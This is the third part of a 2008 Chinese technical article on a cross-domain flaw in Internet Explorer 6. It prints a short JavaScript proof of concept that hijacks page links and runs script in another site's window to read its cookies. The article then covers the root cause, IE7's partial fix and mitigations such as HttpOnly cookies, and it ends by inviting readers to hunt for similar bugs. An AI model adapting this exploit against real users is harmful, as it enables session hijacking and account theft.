揭密鬼页 浅析浏览器跨域安全问题(3)
来源:IT 专家网 时间:2008-10-07 18:11:00
5.灾难性的后果
到这里我们发现了一个IE6的0DAY,一定程度上这个跨域安全问题是灾难性的,如下面的
EXP:
<a href="">IE6 Cross Domain Scripting</a>
<script>
function win(){
x=window.open('http://www.phpwind.net');
setTimeout(function(){
x.location=new String("javascript:alert(document.cookie)")
},3000)
}
window.onload=function(){
for (i=0;i<document.links.length;i++) {
document.links[i].href="javascript:win()"
}
}
</script>
点击链接后,马上得到了PHPWIND论坛的COOKIE,这就意味着黑客通过类似的攻击可以得到你访问过的任意网站的COOKIE,然后劫持你的会话。
这样的漏洞相当于一个没有域限制的XSS漏洞,几乎是无法防御的,网站只能进一步的加强客户端的会话安全,如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的请求操作加上水印等。
6.总结
这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏,没有考虑清楚不同域有继承关系的window对象操作后的变化,只是对window对象的一些方法的参数做了类似数据类型的限制,导致最后绕过限制跨域执行了脚本。
从这个漏洞我们也可以看出IE7的一些新的安全特性,通过继承关系的window对象操作来跨域执行脚本伪协议最后是判断了域的,IE7已经开始防范类似的攻击。
但是这里并没有在本质上解决跨域安全问题,IE7只防范了跨域执行脚本,对于其他跨域的操作仍然是放行的,所以鬼页在IE7下可以跨域操作框架URL,而Firefox却没有存在相同的问题,说明不同浏览器在安全的考虑上也是存在很多差异的。
针对IE我又测试了其他对象方法,发现很多都被限制住了,但不排除还有同样的问题存在。按照类似的思路,大家可以继续尝试挖掘浏览器的一些跨域漏洞。
标签:安全,浏览器,javascript
0
投稿
猜你喜欢
从垃圾站到正规站,5个月日IP达到5000
2009-09-05 10:20:00
Godaddy新手攻略:10分钟帮你搞定一个网站
2010-08-05 08:54:00
VMware与Centos系统安装之重置root密码的方法
2023-12-17 03:52:58
windows 2003服务器系统安全权限方案
2008-07-31 17:37:00
防止黑客入侵WEB服务器三步曲
2007-03-28 16:57:00
购买网站应注意的九个问题
2007-12-18 16:55:00
CC攻击防护的asp代码
2009-02-18 15:49:00
21个常用的apache .htaccess文件配置技巧分享
2023-07-18 21:40:21
旅游网站推广攻略
2009-03-04 14:26:00
Google推出根据人口特征进行竞价的广告功能
2008-01-29 13:04:00
Vmware下Ubuntu server版安装图文教程
2023-12-11 22:57:20
vscode中利用git通过ssh连接github的方法
2021-11-28 12:21:50
Exchange 2003设计和体系结构
2010-02-21 19:08:00
百度排名公式最新版
2008-01-10 20:16:00
漫游(Manyou)开放平台数据说明
2009-06-13 19:12:00
Apache服务器高级设置指南(2)
2010-05-31 17:58:00
考察网站不赚钱的四大原因
2008-07-02 12:44:00
UCenter Home 2.0即将测试 新增六大互动新特性成焦点
2009-07-17 12:32:00
中国雅虎首页改版回归紫色
2009-10-12 11:24:00
cpanel-wordpress博客换域名教程
2011-08-02 19:24:13